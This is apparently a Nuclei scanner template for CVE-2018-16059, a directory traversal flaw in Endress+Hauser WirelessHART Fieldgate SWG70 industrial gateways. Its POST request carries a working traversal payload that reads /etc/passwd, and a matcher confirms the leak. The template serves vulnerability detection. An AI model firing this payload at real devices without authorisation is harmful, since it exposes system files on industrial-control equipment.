id: CVE-2018-16059

info:
  name: WirelessHART Fieldgate SWG70 3.0 - Directory Traversal
  author: daffainfo
  severity: medium
  description: Endress+Hauser WirelessHART Fieldgate SWG70 3.x devices allow Directory Traversal via the fcgi-bin/wgsetcgi filename parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16059
    - https://www.exploit-db.com/exploits/45342
    - https://www.exploit-db.com/exploits/45342/
    - https://ics-cert.us-cert.gov/advisories/ICSA-19-073-03
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2018-16059
    cwe-id: CWE-22
  tags: cve,cve2018,iot,lfi

requests:
  - method: POST
    path:
      - "{{BaseURL}}/fcgi-bin/wgsetcgi"
    body: 'action=ajax&command=4&filename=../../../../../../../../../../etc/passwd&origin=cw.Communication.File.Read&transaction=fileCommand'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: status
        status:
          - 200